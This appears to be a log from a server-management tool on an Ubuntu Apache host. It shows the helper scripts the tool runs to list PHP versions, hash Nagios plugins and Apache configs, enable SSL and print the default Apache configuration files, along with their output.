 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 21705
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root       21705  0.0  0.2 313516 43956 ?        Ss   13:55   0:00 /usr/sbin/apache2 -k start
[modules]
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_html_module (shared)
 proxy_http_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)
 xml2enc_module (shared)


2025-12-23 14:05:32: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'stoughton',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swap.img',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'proxy_module',
      26 => 'proxy_html_module',
      27 => 'proxy_http_module',
      28 => 'proxy_wstunnel_module',
      29 => 'reqtimeout_module',
      30 => 'rewrite_module',
      31 => 'setenvif_module',
      32 => 'socache_shmcb_module',
      33 => 'ssl_module',
      34 => 'status_module',
      35 => 'xml2enc_module',
    ),
  ),
)


2025-12-23 14:05:32: 

PUT: /tmp/pkp449203

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-12-23 14:05:32: 

chmod 755 /tmp/pkp449203; /tmp/pkp449203; rm /tmp/pkp449203

2025-12-23 14:05:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2025-12-23 14:05:33: 

PUT: /tmp/pkp196476

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-12-23 14:05:33: 

chmod 755 /tmp/pkp196476; /tmp/pkp196476; rm /tmp/pkp196476

2025-12-23 14:05:34: 


[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.30


2025-12-23 14:05:34: 

PUT: /tmp/pkp574653

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-12-23 14:05:34: 

chmod 755 /tmp/pkp574653; /tmp/pkp574653; rm /tmp/pkp574653

2025-12-23 14:05:34: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_users)= c311ae83509dd25455baeca7902b345f
bin(/usr/local/nagios/libexec/check_ntp_time)= 52fe5b7ca7c188a32a6d64e736eac5b7
bin(/usr/local/nagios/libexec/check_by_ssh)= 51f1982a51d9a5ab4020232bebd8267e
bin(/usr/local/nagios/libexec/check_simap)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_apt)= 41eb04d12e51926f39524239d22537ef
bin(/usr/local/nagios/libexec/check_tcp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_mrtg)= b5b32950455e141e9b67f0f4cdab132b
bin(/usr/local/nagios/libexec/check_dummy)= 871f3acbc6b4b2b033d6fd722f376250
bin(/usr/local/nagios/libexec/check_uptime)= ded53ef6ef4680fd5841719ac869c7e1
bin(/usr/local/nagios/libexec/check_ssh)= 2396c0ac050e99416d203993c1f2dcb0
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_real)= 01b293c07d5a62fcaf79ec34625538e6
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_nntps)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_swap)= 9aba1ea1d65970ba60f8946e5fb73c85
bin(/usr/local/nagios/libexec/check_time)= a0482e1b7c21e0ed9de4451103f73a77
bin(/usr/local/nagios/libexec/check_procs)= bc72e861001bd320f14048f13b0a5c95
bin(/usr/local/nagios/libexec/check_icmp)= 1124d94bcf823fbcd25ade7152252ae3
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 6b901883d174dd33916621ea53c12e36
bin(/usr/local/nagios/libexec/check_spop)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_nt)= 8a7b9cd0773680a085c6ba38f9760fd6
bin(/usr/local/nagios/libexec/check_encoder.php)= c22e9b08f01fe929c535c10cf0c610c3
bin(/usr/local/nagios/libexec/check_clamd)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_pop)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_cluster)= 6a3a417d279d27775e047bdc5c1b5dce
bin(/usr/local/nagios/libexec/check_ntp_peer)= bf57bca35733628a94b78222a46a02f6
bin(/usr/local/nagios/libexec/check_http)= f0a4d9be23a8a890a436b4dc61cdfea0
bin(/usr/local/nagios/libexec/check_nntp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_nagios)= df5d35cbaadb0c3550c9463d38c5622a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_udp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_imap)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_ftp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_nwstat)= a4663eef851d0ebc252e415e78b807cd
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_website)= 80eef1ef86eb3034ef686f8f3983c135
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ssmtp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_ide_smart)= 29d0f800b7f3823d21bd444e86e83dd7
bin(/usr/local/nagios/libexec/check_ups)= 78db79cee08eebaa75a59f1cba536f75
bin(/usr/local/nagios/libexec/check_dns)= d11ffa1a24eebc4469d2d848fecc73d5
bin(/usr/local/nagios/libexec/check_raid)= d56bce7813a9a6e2be39576a71e6be88
bin(/usr/local/nagios/libexec/check_ntp)= 600191ef12bcda7add96ac823e4f509a
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_disk)= 6e28ad892b3e9d4f2e1c424caa467401
bin(/usr/local/nagios/libexec/check_load)= 609fbe0884b9d265ee2efb2306636142
bin(/usr/local/nagios/libexec/check_ping)= b0feeda323e47aec89d515918a69fd2b
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_toner.php)= 1c9096e45b272e90f863889d1ee97c29
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_dhcp)= 11af22e79dd5231fe387e003d27017b1
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_smtp)= 282bd82207faa6c16d3d9fc69d484ffc
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_jabber)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_overcr)= dcce712428ef42dcbe39e423c69f7f87
bin(/usr/local/nagios/libexec/check_dig)= f329f192e283dbbd3d8e71a5cf617d0b


2025-12-23 14:05:35: 

PUT: /tmp/pkp686514

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-12-23 14:05:35: 

chmod 755 /tmp/pkp686514; /tmp/pkp686514; rm /tmp/pkp686514

2025-12-23 14:05:35: 


status=ok


2025-12-23 14:05:35: 

PUT: /tmp/pkp554543

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-23 14:05:36: 

chmod 755 /tmp/pkp554543; /tmp/pkp554543; rm /tmp/pkp554543

2025-12-23 14:05:36: 
2025-12-23 14:05:36: 

PUT: /tmp/pkp801674

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/apache2.conf')
    show_file('/etc/apache2/ports.conf')
    show_file('/etc/apache2/sites-available/default-ssl.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-23 14:05:36: 

chmod 755 /tmp/pkp801674; /tmp/pkp801674; rm /tmp/pkp801674

2025-12-23 14:05:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/apache2.conf	7178
# This is the main Apache server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.

# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
#	/etc/apache2/
#	|-- apache2.conf
#	|	`--  ports.conf
#	|-- mods-enabled
#	|	|-- *.load
#	|	`-- *.conf
#	|-- conf-enabled
#	|	`-- *.conf
# 	`-- sites-enabled
#	 	`-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
#   together by including all remaining configuration files when starting up the
#   web server.
#
# * ports.conf is always included from the main configuration file. It is
#   supposed to determine listening ports for incoming connections which can be
#   customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
#   directories contain particular configuration snippets which manage modules,
#   global configuration fragments, or virtual host configurations,
#   respectively.
#
#   They are activated by symlinking available configuration files from their
#   respective *-available/ counterparts. These should be managed by using our
#   helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
#   their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
#   the default configuration, apache2 needs to be started/stopped with
#   /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
#   work with the default configuration.


# Global configuration
#

#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE!  If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"

#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default

#
# The directory where shm and other runtime files will be stored.
#

DefaultRuntimeDir ${APACHE_RUN_DIR}

#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}

#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5


# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off

# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log

#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn

# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf

# Include list of ports to listen on
Include ports.conf


# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
	Options FollowSymLinks
	AllowOverride None
	Require all denied
</Directory>

<Directory /usr/share>
	AllowOverride None
	Require all granted
</Directory>

<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride None
	Require all granted
</Directory>

#<Directory /srv/>
#	Options Indexes FollowSymLinks
#	AllowOverride None
#	Require all granted
#</Directory>




# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives.  See also the AllowOverride
# directive.
#
AccessFileName .htaccess

#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
	Require all denied
</FilesMatch>


#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.

# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf

# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/ports.conf	274
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf

Listen 80

<IfModule ssl_module>
	Listen 443
</IfModule>

<IfModule mod_gnutls.c>
	Listen 443
</IfModule>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/default-ssl.conf	4573
<VirtualHost *:443>
	ServerAdmin webmaster@localhost

	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf

	#   SSL Engine Switch:
	#   Enable/Disable SSL for this virtual host.
	SSLEngine on

	#   A self-signed (snakeoil) certificate can be created by installing
	#   the ssl-cert package. See
	#   /usr/share/doc/apache2/README.Debian.gz for more info.
	#   If both key and certificate are stored in the same file, only the
	#   SSLCertificateFile directive is needed.
	SSLCertificateFile      /etc/ssl/certs/ssl-cert-snakeoil.pem
	SSLCertificateKeyFile   /etc/ssl/private/ssl-cert-snakeoil.key

	#   Server Certificate Chain:
	#   Point SSLCertificateChainFile at a file containing the
	#   concatenation of PEM encoded CA certificates which form the
	#   certificate chain for the server certificate. Alternatively
	#   the referenced file can be the same as SSLCertificateFile
	#   when the CA certificates are directly appended to the server
	#   certificate for convinience.
	#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt

	#   Certificate Authority (CA):
	#   Set the CA certificate verification path where to find CA
	#   certificates for client authentication or alternatively one
	#   huge file containing all of them (file must be PEM encoded)
	#   Note: Inside SSLCACertificatePath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCACertificatePath /etc/ssl/certs/
	#SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt

